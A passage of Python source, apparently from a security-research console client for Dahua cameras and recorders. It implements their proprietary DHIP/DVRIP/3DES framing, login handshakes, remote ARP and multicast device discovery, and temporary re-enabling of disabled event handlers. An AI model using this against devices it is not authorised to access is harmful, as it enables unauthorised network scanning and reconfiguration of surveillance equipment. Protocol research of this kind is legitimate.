else:\n            query_args = {\n                # \"method\": \"{}.attachAsyncResult\".format(method),\t# .params.cmd needed\n                \"method\": \"{}.attach\".format(method),\n                \"params\": {\n                    \"proc\": _proc_id,\n                    # \"cmd\": \"????\",\t# .attachAsyncResult\n                },\n                \"object\": object_id,\n            }\n\n            if attach_params:\n                query_args.get('params').update(attach_params)\n            dh_data = self.send_call(query_args, errorcodes=fuzz, multicall=multicall, multicallsend=multicallsend)\n\n        if not dh_data and not attach_only:\n            self.instance_destroy(method=method, _proc_id=_proc_id, object_id=object_id, detach=False)\n            return False, \"{}.attach\".format(method), dh_data, params if not multicall else dparams, attach_params\n\n        if not dh_data.get('result'):\n            if object_id and not attach_only:\n                self.instance_destroy(method=method, _proc_id=_proc_id, object_id=object_id, detach=False)\n            return False, \"{}.attach\".format(method), dh_data, params if not multicall else dparams, attach_params\n\n        if dh_data.get('params'):\n            _sid = dh_data.get('params').get('SID')\n        else:\n            _sid = None\n\n        self.params_tmp = {}\n        self.attachParamsTMP = []\n        return object_id, _proc_id, _sid, params if not multicall else dparams, attach_params\n\n    def instance_destroy(self, method, _proc_id, object_id, detach=True, detach_params=None):\n        \"\"\" Destroy factory.instance \"\"\"\n\n        if detach:\n            query_args = {\n                # \"method\": \"{}.detachAsyncResult\".format(method),\t# .params.cmd needed\n                \"method\": \"{}.detach\".format(method),\n                \"params\": {\n                    \"proc\": _proc_id,\n                    # \"cmd\": \"????\",\t# .detachAsyncResult\n                },\n                \"object\": object_id,\n            }\n            if detach and detach_params:\n                query_args.get('params').update(detach_params)\n\n            dh_data = self.send_call(query_args)\n            # if dh_data == False or not dh_data:\n            if not dh_data:\n                return False, \"{}.detach\".format(method), dh_data\n\n            if not dh_data.get('result'):\n                return False, \"{}.detach\".format(method), dh_data\n\n        query_args = {\n            \"method\": \"{}.destroy\".format(method),\n            \"params\": None,\n            \"object\": object_id,\n        }\n\n        dh_data = self.send_call(query_args)\n        if not dh_data:\n            return False, \"{}.destroy\".format(method), dh_data\n\n        if not dh_data.get('result'):\n            return False, \"{}.destroy\".format(method), dh_data\n\n        return True, \"{}.destroy\".format(method), dh_data\n\n    #\n    # Checking and caches if a service exist or not\n    #\n    def check_for_service(self, service):\n\n        query_args = {\n            \"method\": \"system.listService\",\n            \"params\": None,\n        }\n        if not len(self.RemoteServicesCache):\n            self.RemoteServicesCache = self.send_call(query_args)\n            if not self.RemoteServicesCache:\n                return False\n        if service == 'dump':\n            return\n\n        if self.RemoteServicesCache.get('result'):\n            for count in range(0, len(self.RemoteServicesCache.get('params').get('service'))):\n                if self.RemoteServicesCache.get('params').get('service')[count] == service:\n                    return True\n\n        log.failure(\"Service [{}] not supported on remote device\".format(service))\n        return False\n\n    #\n    # Main function for subscribe on events from device\n    #\n    def event_manager(self, msg):\n\n        cmd = msg.split()\n\n        usage = {\n            \"1\": \"(enable)\",\n            \"0\": \"(disable)\"\n        }\n\n        if len(cmd) == 1 or cmd[1] == '-h':\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return True\n\n        if not self.udp_server:\n            if self.debugCalls:\n                log.warning('Local UDP server not running')\n            return False\n\n        method_name = 'eventManager'\n        codes = [\"All\"]\n\n        if cmd[1] == '1':\n\n            if self.instance_service(method_name, pull='object'):\n                log.failure(\"eventManager already enabled\")\n                return False\n\n            self.event_manager_set_config()\n\n            self.instance_service(method_name, attach_params={\"codes\": codes}, start=True)\n            object_id = self.instance_service(method_name, pull='object')\n            if not object_id:\n                return False\n\n        elif cmd[1] == '0':\n\n            if not self.instance_service(method_name, pull='object'):\n                log.failure(\"eventManager already disabled\")\n                return False\n\n            self.event_manager_set_config()\n            self.instance_service(method_name, stop=True)\n\n            return\n\n        else:\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return False\n\n    #\n    # Will dump remote config, scan for EventHandler() and enable disabled ones\n    # Using setTemporaryConfig / restoreTemporaryConfig, so changes will not be permanent (in case of reboot)\n    #\n    def event_manager_set_config(self):\n\n        method_name = 'configManager'\n\n        self.instance_service(method_name, start=True)\n        object_id = self.instance_service(method_name, pull='object')\n        if not object_id:\n            return False\n\n        event_id_map = {}\n\n        if not self.instance_service('eventManager', pull='object'):\n\n            if not self.RemoteConfigCache:\n                log.info(\"Caching remote config\")\n                query_args = {\n                    \"method\": \"configManager.getConfig\",\n                    \"params\": {\n                        \"name\": 'All',\n                    },\n                }\n                self.RemoteConfigCache = self.send_call(query_args)\n                if not self.RemoteConfigCache:\n                    return False\n\n            config_members = copy.deepcopy(self.RemoteConfigCache.get('params').get('table'))\n\n            config = {}\n\n            for member in config_members:\n                try:\n\n                    if isinstance(config_members[member], list):\n                        for count in range(0, len(config_members[member])):\n\n                            if config_members[member][count].get('EventHandler'):\n\n                                if not config_members[member][count].get('Enable'):\n                                    self.RestoreEventHandler.update({\n                                        member: config_members[member],\n                                    })\n                                    config.update({member: config_members[member]})\n                                    config[member][count]['Enable'] = True\n\n                                    query_args = {\n                                        \"method\": \"configManager.setTemporaryConfig\",\n                                        \"params\": {\n                                            \"name\": member,\n                                            \"table\": config[member],\n                                        },\n                                        \"object\": object_id,\n                                        \"session\": self.SessionID,\n                                        \"id\": self.ID\n                                    }\n                                    event_id_map.update({self.ID: member})\n                                    self.send_call(query_args, multicall=True)\n                                elif config_members[member][count].get('Enable'):\n                                    log.success('{}[{}]: Already enabled'.format(member, count))\n\n                            elif config_members[member][count].get('CurrentProfile'):  # CommGlobal\n\n                                if not config_members[member][count].get('AlarmEnable')\\\n                                        or not config_members[member][0].get('ProfileEnable'):\n                                    self.RestoreEventHandler.update({\n                                        member: config_members[member],\n                                    })\n                                    config.update({member: config_members[member]})\n                                    config[member][count]['AlarmEnable'] = True\n                                    config[member][count]['ProfileEnable'] = True\n\n                                    query_args = {\n                                        \"method\": \"configManager.setTemporaryConfig\",\n                                        \"params\": {\n                                            \"name\": member,\n                                            \"table\": config[member],\n                                        },\n                                        \"object\": object_id,\n                                        \"session\": self.SessionID,\n                                        \"id\": self.ID\n                                    }\n                                    event_id_map.update({self.ID: member})\n                                    self.send_call(query_args, multicall=True)\n                                elif config_members[member][count].get('AlarmEnable'):\n                                    log.success('{}[{}]: Already enabled'.format(member, count))\n\n                    elif isinstance(config_members[member], dict):\n\n                        if 'EventHandler' in config_members[member]:\n\n                            if not config_members[member].get('Enable'):\n                                self.RestoreEventHandler.update({member: config_members[member]})\n                                config.update({member: config_members[member]})\n                                config[member]['Enable'] = True\n\n                                query_args = {\n                                    \"method\": \"configManager.setTemporaryConfig\",\n                                    \"params\": {\n                                        \"name\": member,\n                                        \"table\": config[member],\n                                    },\n                                    \"object\": object_id,\n                                    \"session\": self.SessionID,\n                                    \"id\": self.ID\n                                }\n                                event_id_map.update({self.ID: member})\n                                self.send_call(query_args, multicall=True)\n                            elif config_members[member].get('Enable'):\n                                log.success('{}: Already enabled'.format(member))\n\n                        elif 'AlarmEnable' in config_members[member]:  # CommGlobal\n\n                            if not config_members[member].get('AlarmEnable')\\\n                                    or not config_members[member].get('ProfileEnable'):\n                                self.RestoreEventHandler.update({member: config_members[member]})\n                                config.update({member: config_members[member]})\n                                config[member]['AlarmEnable'] = True\n                                config[member]['ProfileEnable'] = True\n\n                                query_args = {\n                                    \"method\": \"configManager.setTemporaryConfig\",\n                                    \"params\": {\n                                        \"name\": member,\n                                        \"table\": config[member],\n                                    },\n                                    \"object\": object_id,\n                                    \"session\": self.SessionID,\n                                    \"id\": self.ID\n                                }\n                                event_id_map.update({self.ID: member})\n                                self.send_call(query_args, multicall=True)\n                            elif config_members[member].get('AlarmEnable'):\n                                log.success('{}: Already enabled'.format(member))\n\n                except (AttributeError, IndexError):\n                    pass\n\n            log.info(\"Enabling disabled events\")\n            dh_data = self.send_call(None, multicall=True, multicallsend=True)\n            for ID in event_id_map:\n                if dh_data.get(ID).get('result'):\n                    log.success('{}: {}'.format(event_id_map.get(ID), dh_data.get(ID).get('result')))\n                else:\n                    log.failure('{}: {}'.format(event_id_map.get(ID), dh_data.get(ID).get('result')))\n            self.instance_service(method_name, stop=True)\n            return True\n\n        elif self.instance_service('eventManager', pull='object'):\n\n            for member in self.RestoreEventHandler:\n                query_args = {\n                    \"method\": \"configManager.restoreTemporaryConfig\",\n                    \"params\": {\n                        \"name\": member,\n                    },\n                    \"object\": object_id,\n                    \"session\": self.SessionID,\n                    \"id\": self.ID\n                }\n                event_id_map.update({query_args.get('id'): member})\n                self.send_call(query_args, multicall=True)\n\n        log.info(\"Restoring event config\")\n        dh_data = self.send_call(None, multicall=True, multicallsend=True)\n\n        for ID in event_id_map:\n            if dh_data.get(ID).get('result'):\n                log.success('{}: {}'.format(event_id_map.get(ID), dh_data.get(ID).get('result')))\n            else:\n                log.failure('{}: {}'.format(event_id_map.get(ID), dh_data.get(ID).get('result')))\n\n        self.instance_service(method_name, stop=True)\n        return\n\n    def console_result(self, msg, callback=False):\n\n        #\n        # Not sure how this looks like, catch the callback and just dump it to console\n        #\n        # NVR additional 'console' w/ console.attachAsyncResult, console.detachAsyncResult\n        if msg.get('method') == 'client.notifyConsoleAsyncResult':\n            log.info(\"callback: {}\".format(msg.get('method')))\n            print(callback)\n            print(json.dumps(msg, indent=4))\n            if self.proto in ['http', 'https']:\n                self.recv_stream_status.set()\n            return True\n\n        paramsinfo = msg.get('params').get('info')\n\n        if not int(paramsinfo.get('Count')):\n            log.warning(\"(null) dh_data received from Console\")\n            return False\n\n        for paramscount in range(0, int(paramsinfo.get('Count'))):\n            print(str(paramsinfo.get('Data')[paramscount]).strip('\\n'))\n        if self.proto in ['http', 'https']:\n            self.recv_stream_status.set()\n        return True\n\n    #\n    # Device discovery - by remote device\n    #\n    def device_discovery(self, msg, callback=False):\n\n        if callback:\n            dh_data = msg\n            print(json.dumps(dh_data, indent=4))\n            return True\n\n        cmd = msg.split()\n\n        usage = {\n            \"stop\": \"(stop)\",\n            \"multicast\": \"(Discover devices with Multicast)\",\n            \"arpscan\": {\n                \"<ipBegin> <ipEnd>\": \"(Discover devices with ARP)\"\n            },\n            \"refresh\": \"(<Undefined> Not working)\",\n            \"scan\": \"(<Undefined> Not working)\",\n            \"setconfig\": \"(<Undefined> Not working)\",\n        }\n\n        if len(cmd) == 1 or cmd[1] == '-h':\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return True\n\n        #\n        # for help\n        # multicast = 239.255.255.251 UDP/37810 and 255.255.255.255 UDP/5050\n        # arpscan = arp ip_begin - ip_end\n        #\n\n        method_name = 'deviceDiscovery'\n\n        # if not self.instance_service(method_name,pull='object'):\n        # self.instance_service(method_name,attach=True,start=True)\n        # object_id = self.instance_service(method_name,fuzz=True,pull='object')\n        # if not object_id:\n        # log.failure('{}: Error!'.format(method_name))\n        # return False\n\n        if cmd[1] == 'stop':\n\n            object_id = self.instance_service(method_name, fuzz=True, pull='object')\n            if not object_id:\n                log.failure('{}: Error!'.format(method_name))\n                return False\n\n            query_args = {\n                \"method\": \"deviceDiscovery.stop\",\n                \"params\": None,\n                \"object\": object_id,\n            }\n\n            dh_data = self.send_call(query_args)\n            if not dh_data:\n                return\n\n            if not self.instance_service(method_name, stop=True):\n                return False\n\n            return True\n\n        elif cmd[1] == 'multicast':\n\n            if not self.instance_service(method_name, pull='object'):\n                self.instance_service(method_name, dattach=True, start=True)\n            object_id = self.instance_service(method_name, fuzz=True, pull='object')\n            if not object_id:\n                log.failure('{}: Error!'.format(method_name))\n                return False\n\n            query_args = {\n                \"method\": \"deviceDiscovery.start\",\n                \"params\": {\n                    \"timeout\": \"15\",\n                },\n                \"object\": object_id,\n            }\n\n        elif cmd[1] == 'arpscan':\n\n            if not len(cmd) == 4:\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return False\n            ip_begin = cmd[2]\n            ip_end = cmd[3]\n\n            if not check_ip(cmd[2]):\n                log.failure('\"{}\" is not valid host'.format(cmd[2]))\n                return False\n            if not check_ip(cmd[3]):\n                log.failure('\"{}\" is not valid host'.format(cmd[3]))\n                return False\n\n            if not self.instance_service(method_name, pull='object'):\n                self.instance_service(method_name, dattach=True, start=True)\n            object_id = self.instance_service(method_name, fuzz=True, pull='object')\n            if not object_id:\n                log.failure('{}: Error!'.format(method_name))\n                return False\n\n            query_args = {\n                \"method\": \"deviceDiscovery.ipScan\",\n                \"params\": {\n                    \"ipBegin\": ip_begin,\n                    \"ipEnd\": ip_end,\n                    \"timeout\": \"1\",\n                },\n                \"object\": object_id,\n            }\n\n        elif cmd[1] == 'refresh':\n            if not self.instance_service(method_name, pull='object'):\n                self.instance_service(method_name, dattach=True, start=True)\n            object_id = self.instance_service(method_name, fuzz=True, pull='object')\n            if not object_id:\n                log.failure('{}: Error!'.format(method_name))\n                return False\n\n            query_args = {\n                \"method\": \"deviceDiscovery.refresh\",\n                \"params\": {\n                    \"device\": None,\n                    # \"timeout\":5,\n                    # \"device\":\"eth2\",\n                    # \"object\":object_id,\n                },\n                \"object\": object_id,\n            }\n\n        elif cmd[1] == 'scan':  # (pthread) error: {'code': 268632080, 'message': ''}\n\n            if not self.instance_service(method_name, pull='object'):\n                self.instance_service(method_name, dattach=True, start=True)\n            object_id = self.instance_service(method_name, fuzz=True, pull='object')\n            if not object_id:\n                log.failure('{}: Error!'.format(method_name))\n                return False\n\n            query_args = {\n                \"method\": \"deviceDiscovery.scanDevice\",\n                \"params\": {\n                    \"ip\": [\"192.168.5.21\"],\n                    \"timeout\": 10,\n                },\n                \"object\": object_id,\n            }\n\n        elif cmd[1] == 'setconfig':  # not complete\n            # {\n            # 'Mac': '3c:ef:8c:bf:a2:04',\n            # 'Result': True,\n            # 'DeviceConfig':\n            # {\n            # 'IPv4Address':\n            # {\n            # 'DhcpEnable': True,\n            # 'SubnetMask': '255.255.255.0',\n            # 'DefaultGateway': '192.168.5.1',\n            # 'IPAddressOld': '192.168.5.21',\n            # 'IPAddress': '192.168.5.21'\n            # }\n            # },\n            # 'UTC': 1611173991.0,\n            # 'LocaleTime':\n            # '2021-01-20 22:19:51'\n            # }\n\n            if not self.instance_service(method_name, pull='object'):\n                self.instance_service(method_name, dattach=True, start=True)\n            object_id = self.instance_service(method_name, fuzz=True, pull='object')\n            if not object_id:\n                log.failure('{}: Error!'.format(method_name))\n                return False\n\n            query_args = {\n                \"method\": \"deviceDiscovery.setConfig\",\n                \"params\": {\n                    \"mac\": \"a0:bd:de:ad:be:ef\",\n                    \"username\": \"admin\",\n                    \"password\": \"admin\",  # shall be encrypted\n                    \"devConfig\": {\"DummyConfig\": \"\"},  # Needs to figure right params\n                },\n                \"object\": object_id,\n            }\n\n        else:\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return True\n\n        dh_data = self.send_call(query_args, errorcodes=True)\n        if dh_data.get('result'):\n            print(json.dumps(dh_data, indent=4))\n        else:\n            self.instance_service(method_name, stop=True)\n            log.failure('{}: {}'.format(query_args.get('method'), dh_data.get('error')))\n\n        return\n\n    def cleanup(self):\n        \"\"\" Clean up before we quit, if needed (and can do so) \"\"\"\n        if self.instance_service('eventManager', pull='object'):\n            self.event_manager(msg=\"events 0\")\n        if self.instance_service('deviceDiscovery', pull='object'):\n            self.device_discovery(msg='rdiscover stop')\n\n    def _debug(self, direction, packet):\n        \"\"\" Traffic debug \"\"\"\n        if self.debug and packet is not None:\n\n            \"\"\" Print send/recv dh_data and current line number \"\"\"\n            print(color(\n                \"[BEGIN {} ({})] <{:-^40}>\".format(\n                    direction, self.rhost, inspect.currentframe().f_back.f_lineno), LBLUE))\n            if (self.debug == 2) or (self.debug == 3):\n                print(hexdump(packet))\n            if (self.debug == 1) or (self.debug == 3):\n                if packet[4:8] == b'DHIP' or dahua_proto(packet[0:2]):\n\n                    if packet[0:2] == p16(0xb300, endian='big'):\n                        header = packet[0:120]\n                        dh_data = packet[120:]\n                    else:\n                        header = packet[0:32]\n                        dh_data = packet[32:]\n\n                    print(\"{}|{}|{}|{}|{}|{}|{}|{}\".format(\n                        binascii.b2a_hex(header[0:4]).decode('latin-1'),\n                        binascii.b2a_hex(header[4:8]).decode('latin-1'),\n                        binascii.b2a_hex(header[8:12]).decode('latin-1'),\n                        binascii.b2a_hex(header[12:16]).decode('latin-1'),\n                        binascii.b2a_hex(header[16:20]).decode('latin-1'),\n                        binascii.b2a_hex(header[20:24]).decode('latin-1'),\n                        binascii.b2a_hex(header[24:28]).decode('latin-1'),\n                        binascii.b2a_hex(header[28:32]).decode('latin-1')\n                    ))\n\n                    if dh_data:\n                        print(\"{}\".format(dh_data.decode('latin-1').strip('\\n')))\n                elif self.proto in ['http', 'https']:\n                    print(packet)\n                elif packet:\n                    \"\"\" Unknown packet, do hexdump \"\"\"\n                    log.failure(\"DEBUG: Unknown packet\")\n                    print(hexdump(packet))\n            print(color(\"[ END  {} ({})] <{:-^40}>\".format(\n                direction, self.rhost, inspect.currentframe().f_back.f_lineno), BLUE))\n        return\n\n    def _p2p_len(self, dh_data):\n\n        len_recved = 0\n        len_expect = 0\n\n        if self.proto == 'dhip':\n            if dh_data[4:8] == b'DHIP':\n                len_recved = u32(dh_data[16:20])\n                len_expect = u32(dh_data[24:28])\n            else:\n                print('Not DHIP')\n                print(dh_data)\n                return None\n        elif self.proto == 'dvrip' or self.proto == '3des':\n            if dahua_proto(dh_data[0:2]):\n\n                # Field for amount of dh_data in DVRIP/3DES differs\n                proto = [\n                    b'\\xb0\\x00',\n                    b'\\xb0\\x01'\n                ]\n                # DVRIP Login response\n                if dh_data[0:2] in proto:\n                    len_recved = 0\n                    len_expect = u32(dh_data[4:8]) + 32\n                else:\n                    # DVRIP JSON\n                    len_recved = u32(dh_data[4:8])\n                    len_expect = u32(dh_data[16:20])\n            else:\n                print('Not DVRIP')\n                print(dh_data)\n                return None\n\n        \"\"\"\n        LEN is w/o 32 bytes header\n        Make a calculation to find out how many headers we expecting and add to 'len_expect'\n        \"\"\"\n        if len_recved:\n            if len_expect == len_recved:\n                len_expect += 32\n            else:\n                binary_header = len_expect // len_recved\n                if len_recved * binary_header < len_expect:\n                    len_expect += (binary_header + 1) * 32\n        return len_expect\n\n    def update_id(self):\n        if self.ID == 0xffffffff:\n            self.ID = 0\n        else:\n            self.ID += 1\n\n    def p2p(self, packet=None, recv=False, lock=True, timeout=60, login=False):\n        \"\"\" Handle all external communication to and from device \"\"\"\n        p2p_header = ''\n        p2p_query_return = []\n        len_recved = 0\n\n        if packet is not None and isinstance(packet, dict) and not packet.get('id'):\n            packet.update({\n                'id': self.ID,\n                'session': self.SessionID\n            })\n\n        # TODO\n        # Fix bugs with SSH relay\n        if self.proto in ['http', 'https']:\n            self.lock.acquire()\n            self._debug(\"SEND\", '{},{}\\n\\n{}'.format(self.remote.headers, self.remote.cookies.get_dict(), packet))\n            dh_data = self.remote.send(query_args=packet, login=login, timeout=20)\n            self.update_id()\n            self.lock.release()\n            if not dh_data:\n                return None\n            elif isinstance(dh_data, str):\n                return dh_data\n            self._debug(\"RECV\", '{}\\n\\n{}'.format(dh_data.headers, dh_data.json()))\n            return dh_data.content\n\n        if lock:\n            self.lock.acquire()\n\n        if not recv:\n            if packet is None:\n                packet = b''\n\n            header = copy.copy(self.header)\n            header = header.replace('_SessionHexID_'.encode('latin-1'), p32(self.SessionID))\n            header = header.replace('_LEN_'.encode('latin-1'),\n                                    p32(len(json.dumps(packet).encode('latin-1'))) if isinstance(packet, dict)\n                                    else p32(len(packet))\n                                    )\n            header = header.replace('_ID_'.encode('latin-1'), p32(self.ID))\n\n            if not len(header) == 32:\n                log.error(\"Binary header != 32 ({})\".format(len(header)))\n                if self.lock.locked():\n                    self.lock.release()\n                return None\n            self.update_id()\n\n            \"\"\"\n            Replicating how Dahua sending dh_data (not working for upload to device)\n            [JSON] + \\n + [DATA]\n            \"\"\"\n            try:\n                if len(packet) and packet.get('transfer'):\n                    out = b64d(packet.get('transfer'))\n                    packet.pop('transfer')\n                    packet = json.dumps(packet) + '\\n' + out.decode('latin-1')\n                    packet = packet.encode('latin-1')\n                elif isinstance(packet, dict):\n                    packet = json.dumps(packet).encode('latin-1')\n            except (JSONDecodeError, AttributeError):\n                pass\n\n            self._debug(\"SEND\", header + packet)\n\n            try:\n                if self.relay:\n                    if not self.relay.connected():\n                        self.remote.close()\n                        self.relay.close()\n                        if self.lock.locked():\n                            self.lock.release()\n                        self.socket_event.set()\n                        return None\n\n                if not self.remote.connected():\n                    log.error(\"Connection closed\")\n                    return None\n                self.remote.send(header + packet)\n            except Exception as e:\n                if self.lock.locked():\n                    self.lock.release()\n                self.socket_event.set()\n                log.failure('[p2p] send: {}'.format(repr(e)))\n                return None\n\n        #\n        # We must expect there is no output from remote device\n        # Some debug cmd do not return any output, some will return after timeout/failure, most will return directly\n        #\n        start = time.time()\n        dh_data = b''\n\n        # Checking in binary header for the amount of dh_data to be received\n        # while True:\n        try:\n            # dh_data = self.remote.recv(numb=32, timeout=1)\n            while len(dh_data) != 32:\n                dh_data = b''.join([dh_data, self.remote.recv(numb=1, timeout=0.5)])\n                # print(len(dh_data))\n                # Prevent infinite loop\n                if time.time() - start > timeout:\n                    log.failure('[p2p] timeout (dh_data != 32)')\n                    if self.lock.locked():\n                        self.lock.release()\n                    return None\n            # print('end')\n\n            # if len(dh_data):\n            len_expect = self._p2p_len(dh_data)\n            if not len_expect:\n                log.failure('[p2p] Unknown proto')\n                return None\n\n            # if len_expect:\n            while True:\n                dh_data = b''.join([dh_data, self.remote.recv(numb=1024, timeout=0.5)])\n                # print('[p2p] LEN', len(dh_data))\n\n                if len(dh_data) == len_expect:\n                    break\n                elif len(dh_data) > len_expect:\n                    len_expect += self._p2p_len(dh_data[len_expect:])\n                    continue\n\n                # Prevent infinite loop\n                if time.time() - start > timeout:\n                    log.failure('[p2p] timeout (dh_data)')\n                    if self.lock.locked():\n                        self.lock.release()\n                    return None\n            # break\n\n        except KeyboardInterrupt:\n            if self.lock.locked():\n                self.lock.release()\n            raise KeyboardInterrupt\n        except EOFError as e:\n            if self.lock.locked():\n                self.lock.release()\n            self.remote.close()\n            log.failure('[p2p] {}'.format(repr(e)))\n            raise EOFError\n\n        if not len(dh_data) and self.lock.locked():\n            self.lock.release()\n            log.failure(\"[p2p] Nothing received from remote!\")\n            return None\n\n        while len(dh_data):\n            try:\n                # DHIP\n                if dh_data[4:8] == b'DHIP':\n                    p2p_header = dh_data[0:32]\n                    len_recved = u32(dh_data[16:20])\n                    dh_data = dh_data[32:]\n                # DVRIP\n                elif dahua_proto(dh_data[0:2]):\n                    len_recved = u32(dh_data[4:8])\n                    p2p_header = dh_data[0:32]\n\n                    if p2p_header[24:28] == p32(0x0600f900, endian='big'):\n                        self.SessionID = u32(p2p_header[16:20])\n                        self.AuthCode = p2p_header[28:32]\n                        self.ErrorCode = p2p_header[8:12]\n\n                    if len(dh_data) == 32:\n                        self._debug(\"RECV\", p2p_header)\n                    dh_data = dh_data[32:]\n                else:\n                    if len_recved == 0:\n                        log.failure(\"[p2p] Unknown packet\")\n                        print(\"PROTO: \\033[92m[\\033[91m{}\\033[92m]\\033[0m\".format(binascii.b2a_hex(dh_data[0:4])))\n                        print(hexdump(dh_data))\n                        if self.lock.locked():\n                            self.lock.release()\n                        return None\n                    p2p_recved = dh_data[0:len_recved]\n                    if len_recved:\n                        self._debug(\"RECV\", p2p_header + p2p_recved)\n                        try:\n                            tmp = json.loads(p2p_recved)\n                            if tmp.get('callback'):\n                                self.client_notify(json.dumps(tmp))\n                                p2p_recved = b''\n                        except (ValueError, AttributeError):\n                            pass\n                    else:\n                        self._debug(\"RECV\", p2p_header)\n                    if len(p2p_recved):\n                        p2p_query_return.append(p2p_recved.decode('latin-1'))\n                    dh_data = dh_data[len_recved:]\n            except Exception as e:\n                print('[p2p] while len(dh_data)', repr(e))\n                print(dh_data)\n                return None\n        \"\"\"\n        We do expect data, get more data if we are about to return empty and more data is available,\n        most probably been callback data previously\n        \"\"\"\n        return_data = ''.join(map(str, p2p_query_return))\n        if not len(return_data) and self.custom_can_recv(0.100):\n            \"\"\" We need to go back w/o unlocking/locking \"\"\"\n            return_data = self.p2p(recv=True, lock=False)\n\n        if self.lock.locked():\n            self.lock.release()\n        return return_data\n\n    #\n    # DHIP Login function\n    #\n    def dahua_dhip_login(self, username=None, password=None, logon=None, force=False):\n\n        login = log.progress(color('Login', YELLOW))\n\n        pwd_manager = PwdManager()\n\n        self.header = self.proto_header()\n\n        query_args = {\n            \"method\": \"global.login\",\n            \"params\": {\n            },\n        }\n        params = pwd_manager.dhip(\n            rhost=self.rhost,\n            query_args=query_args,\n            username=username,\n            password=password,\n            login=login,\n            logon=logon,\n            force=force\n        )\n        if not params:\n            return False\n\n        if self.ssl:\n            params.update({\"Encryption\": \"SSL\"})\n\n        \"\"\"\n        if self.args.logon == 'local':\n            query_args.update({\"id\": 1111111})\n            query_args.update({\"session\": 2222222})\n        \"\"\"\n        query_args.get('params').update(params)\n        dh_data = self.send_call(query_args, errorcodes=True, login=True)\n\n        if not dh_data:\n            login.failure(\"global.login [random]\")\n            return False\n\n        if dh_data.get('result'):\n            login.success(color('Success', GREEN))\n            self.SessionID = dh_data.get('session')\n            dh_realm = None\n\n            if self.args.save:\n                pwd_manager.save_host(\n                    rhost=self.rhost,\n                    rport=self.rport,\n                    proto=self.proto,\n                    username=username,\n                    password=password,\n                    dh_realm=dh_realm,\n                    relay=self.args.relay,\n                    events=self.events,\n                    logon=logon\n                )\n                return False\n\n            if not self.args.dump:\n                keep_alive = dh_data.get('params').get('keepAliveInterval')\n                _thread.start_new_thread(self._p2p_keepalive, (keep_alive,))\n\n            return True\n\n        if dh_data.get('error').get('code') not in [268632079, 401]:  # Login Challenge\n            login.failure(\"global.login {}\".format(dh_data.get('error')))\n            return False\n\n        self.SessionID = dh_data.get('session')\n        dh_realm = dh_data.get('params').get('realm')\n\n        if logon == 'onvif:digest':\n            realm = log.progress(color('Onvif REALM', YELLOW))\n            realm.status('requesting')\n            \"\"\" We need to get correct REALM, as it differs for newer devices  \"\"\"\n            rtsp = 'OPTIONS rtsp://{host}:{port}?proto=Onvif RTSP/1.1\\r\\nCSeq: 1\\r\\n\\r\\n'.format(\n                host=self.rhost, port=self.rport)\n\n            req = remote(self.rhost, self.rport)\n            req.send(rtsp)\n            rtsp = req.recv(1024)\n            req.close()\n            dh_realm = rtsp[rtsp.find(b'Login to'):rtsp.rfind(b'\", nonce=')].decode('latin-1')\n            if self.debugCalls:\n                log.info('DHIP REALM: {}'.format(dh_data.get('params').get('realm')))\n                log.info('RTSP REALM: {}'.format(dh_realm))\n            dh_data.get('params').update({'realm': dh_realm})\n            realm.success(color(dh_realm, GREEN))\n\n        query_args = {\n            \"method\": \"global.login\",\n            \"params\": {\n            },\n        }\n        params = pwd_manager.dhip(\n            rhost=self.rhost,\n            query_args=dh_data,\n            username=username,\n            password=password,\n            login=login,\n            logon=logon,\n            force=self.args.force\n        )\n        if not params:\n            login.failure(color(\"[dahua.py: pwd_manager.dhip] Failed\", RED))\n            return False\n\n        if self.ssl:\n            params.update({\"Encryption\": \"SSL\"})\n\n        query_args.get('params').update(params)\n\n        dh_data = self.send_call(query_args, errorcodes=True, login=True)\n        if not dh_data:\n            return False\n\n        # Device not initialised\n        if dh_data.get('error') and dh_data.get('error').get('code') == 268632086:\n            login.failure(color('Device not initialised! ({})'.format(dh_data.get('params')), RED))\n            return False\n\n        # Device locked\n        elif dh_data.get('error') and dh_data.get('error').get('code') == 268632081:\n            login.failure(color('Device locked! ({})'.format(dh_data.get('params')), RED))\n            return False\n\n        elif not dh_data.get('result'):\n            login.failure(color('global.login: {}'.format(dh_data.get('error')), RED))\n            return False\n\n        login.success(color('Success', GREEN))\n\n        if self.args.save:\n            pwd_manager.save_host(\n                rhost=self.rhost,\n                rport=self.rport,\n                proto=self.proto,\n                username=username,\n                password=password,\n                dh_realm=dh_realm,\n                relay=self.args.relay,\n                events=self.events,\n                logon=logon\n            )\n            return False\n\n        if not self.args.dump:\n            if dh_data.get('params'):\n                keep_alive = dh_data.get('params').get('keepAliveInterval')\n            else:\n                keep_alive = 30\n            _thread.start_new_thread(self._p2p_keepalive, (keep_alive,))\n\n        return True\n\n    #\n    # 3DES/DVRIP Login function\n    #\n    def dahua_dvrip_login(self, username=None, password=None, logon=None):\n        login = log.progress(color('Login', YELLOW))\n        dh_data = ''\n        dh_realm = None\n\n        pwd_manager = PwdManager()\n\n        if self.proto == '3des':\n\n            dh_data = pwd_manager.dvrip(\n                rhost=self.rhost,\n                username=username,\n                password=password,\n                proto=self.proto,\n                login=login\n            )\n            if not dh_data:\n                return None\n\n            if logon == 'old_3des':\n                \"\"\" all characters above 8 will be stripped \"\"\"\n                self.header = \\\n                    p32(0xa0050060, endian='big') + p32(0x0) + dh_data.get('username') + \\\n                    dh_data.get('password') + p64(0x040200010000a1aa, endian='big')\n            else:\n                \"\"\" all characters above 8 will be stripped \"\"\"\n                self.header = \\\n                    p32(0xa0000000, endian='big') + p32(0x0) + dh_data.get('username') + \\\n                    dh_data.get('password') + p64(0x050200010000a1aa, endian='big')\n\n            try:\n                dh_data = self.p2p(None)\n            except EOFError:\n                return False\n            # if not dh_data:\n            #     return None\n\n        elif self.proto == 'dvrip':\n\n            #\n            # REALM & RANDOM Request\n            #\n            self.header = p32(0xa0010000, endian='big') + (p8(0x00) * 20) + p64(0x050201010000a1aa, endian='big')\n\n            try:\n                dh_data = self.p2p(None)\n            except EOFError:\n                return False\n\n            if not dh_data or not len(dh_data):\n                login.failure(\"Realm\")\n                return None\n\n            dh_realm = dh_data[dh_data.find('Login to'):dh_data.find('\\r\\n')]\n            dh_random = dh_data[dh_data.rfind(':') + 1:dh_data.rfind('\\r\\n') - 2]\n\n            dh_data = pwd_manager.dvrip(\n                